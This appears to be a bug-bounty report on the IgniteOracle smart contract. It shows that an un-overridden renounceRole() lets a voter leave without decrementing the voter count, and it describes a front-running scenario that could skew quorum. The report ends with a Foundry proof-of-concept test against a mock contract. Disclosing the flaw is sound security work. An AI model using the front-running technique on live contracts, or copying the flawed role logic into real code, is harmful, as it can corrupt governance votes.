https://github.com/hackenproof-public/ignite-market-smart-contracts
The IgniteOracle.sol
, responsible for question initialization and finalization, relies on a set of voters for non-automatic question resolutions. The project will initially work with a set of voters before transitioning to a governance DAO model, based on token holdings.
To achieve this, a VOTER role is created and granted and each granting increments the number of voters and each revoking of a VOTER decreases the number of voters. This is achieved via implementing Openzeppelin's AccessControl.sol
and overriding it's methods. However the method renounceRole()
is left completely public:
function renounceRole(bytes32 role, address callerConfirmation) public virtual {
if (callerConfirmation != _msgSender()) {
revert AccessControlBadConfirmation();
}
_revokeRole(role, callerConfirmation);
}
This would allow any VOTER to leave the system without decrementing the voter count, as it should, leaving the contract in an incorrect state. On it's own, a voter is not incentivized to do this. However, in the scenario where voters are removed, but re-added at a later point, a voter can front-run the admin's call to revoke and renounce it before him. If at a later point, this voter gets re-added, there would be 1 more voter in the total that there are voters available, potentially impacting question resolutions when the vote is close to the quorum percentage.
Below is a minimalistic POC Foundry test that utilizes mocks and minimal implementation of the Ignite oracle, which isolates only the role-based logic and voter tracking to showcase how the number of voters is left un-updated and how we getting readded further throws off the internal voter tracking.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Full IJsonApi interface
interface IJsonApi {
struct RequestBody {
string url;
string postprocessJq;
string abi_signature;
}
struct ResponseBody {
bytes abi_encoded_data;
}
struct Response {
bytes32 attestationType;
bytes32 sourceId;
uint64 votingRound;
uint64 lowestUsedTimestamp;
RequestBody requestBody;
ResponseBody responseBody;
}
struct Proof {
bytes32[] merkleProof;
Response data;
}
}
// Minimal verification interface
interface IJsonApiVerification {
function verifyJsonApi(IJsonApi.Proof calldata proof) external returns (bool);
}
// Minimal ConditionalTokens interface
interface IConditionalTokens {
function prepareCondition(address oracle, bytes32 questionId, uint256 outcomeSlotCount) external;
function reportPayouts(bytes32 questionId, uint[] calldata payouts) external;
}
// Dummy implementations
contract DummyVerification is IJsonApiVerification {
function verifyJsonApi(IJsonApi.Proof calldata) external pure override returns (bool) {
return true;
}
}
contract DummyConditionalTokens is IConditionalTokens {
function prepareCondition(address, bytes32, uint256) external override {}
function reportPayouts(bytes32, uint[] calldata) external override {}
}
// The minimal IgniteOracle focusing on role logic
contract IgniteOracle is AccessControl {
bytes32 public constant VOTER_ROLE = keccak256("VOTER_ROLE");
IConditionalTokens public immutable conditionalTokens;
IJsonApiVerification public immutable verification;
uint256 public noOfVoters;
constructor(
address _admin,
address _conditionalTokens,
address _verification,
uint256 /*_minVotes*/
) {
require(_admin != address(0), "NA not allowed");
require(_conditionalTokens != address(0), "NA not allowed");
require(_verification != address(0), "NA not allowed");
conditionalTokens = IConditionalTokens(_conditionalTokens);
verification = IJsonApiVerification(_verification);
_grantRole(DEFAULT_ADMIN_ROLE, _admin);
}
function grantRole(bytes32 role, address account) public override onlyRole(getRoleAdmin(role)) {
if (role == VOTER_ROLE && !hasRole(VOTER_ROLE, account)) {
noOfVoters += 1;
}
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public override onlyRole(getRoleAdmin(role)) {
if (role == VOTER_ROLE && hasRole(VOTER_ROLE, account)) {
noOfVoters -= 1;
}
_revokeRole(role, account);
}
// renounceRole is inherited, so it doesn't touch noOfVoters
}
contract IgniteOracleTest is Test {
IgniteOracle oracle;
DummyConditionalTokens tokens;
DummyVerification verification;
address admin = address(0xA11CE);
address voter = address(0xB0B);
function setUp() public {
tokens = new DummyConditionalTokens();
verification = new DummyVerification();
oracle = new IgniteOracle(admin, address(tokens), address(verification), 3);
vm.startPrank(admin);
oracle.grantRole(oracle.VOTER_ROLE(), voter);
vm.stopPrank();
}
function testRenounceRoleDoesNotUpdateNoOfVoters() public {
// initial count = 1
assertEq(oracle.noOfVoters(), 1);
// voter renounces
vm.startPrank(voter);
oracle.renounceRole(oracle.VOTER_ROLE(), voter);
vm.stopPrank();
// role is gone, but counter stayed at 1
assertFalse(oracle.hasRole(oracle.VOTER_ROLE(), voter));
assertEq(oracle.noOfVoters(), 1, "noOfVoters should remain 1 after renounceRole");
}
function testRevokeRoleDoesUpdateNoOfVotersAndCheckMismatch() public {
// voter renounces their role
vm.startPrank(voter);
oracle.renounceRole(oracle.VOTER_ROLE(), voter);
vm.stopPrank();
// Ensure they no longer have the role
assertFalse(oracle.hasRole(oracle.VOTER_ROLE(), voter));
// noOfVoters remains the same (still 1)
assertEq(oracle.noOfVoters(), 1, "noOfVoters should remain 1 after renounce");
// Admin tries to re-add the same voter
vm.startPrank(admin);
oracle.grantRole(oracle.VOTER_ROLE(), voter);
vm.stopPrank();
// They should now have the role again
assertTrue(oracle.hasRole(oracle.VOTER_ROLE(), voter));
// But because grantRole increments unconditionally, noOfVoters becomes 2
assertEq(oracle.noOfVoters(), 2, "noOfVoters should be 2 after re-granting the role");
}
}